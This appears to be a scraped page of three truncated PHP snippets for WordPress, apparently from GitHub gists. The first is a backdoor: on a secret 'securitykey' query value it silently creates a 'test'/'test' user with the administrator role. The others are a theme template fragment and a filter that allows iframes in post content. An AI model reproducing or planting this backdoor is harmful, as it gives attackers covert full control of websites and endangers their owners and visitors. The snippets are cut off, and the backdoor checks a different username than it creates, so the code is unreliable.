This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('wp_head', 'sec'); | |
function sec() { | |
if ($_GET['securitykey'] == 'DFJDkfjaieruqenb3413456613djfadiefadfbadsfsadfi134lajdba34134') { | |
require('wp-includes/registration.php'); | |
if (!username_exists('testemail')) { | |
$user_id = wp_create_user('test', 'test'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
get_header(); | |
?> | |
<section id="primary" class="content-area"> | |
<main id="main" class="site-main"> | |
<?php if ( have_posts() ) : ?> | |
<header class="page-header"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'wp_kses_allowed_html', 'ar_allowed_tags_filter', 1, 1 ); | |
function ar_allowed_tags_filter( $allowed_tags ) { | |
if ( ! current_user_can( 'publish_posts' ) ) { | |
return $allowedposttags; | |
} | |
$allowed_tags['iframe'] = array( | |
'align' => true, | |
'class' => true, | |
'frameborder' => true, | |
'height' => true, |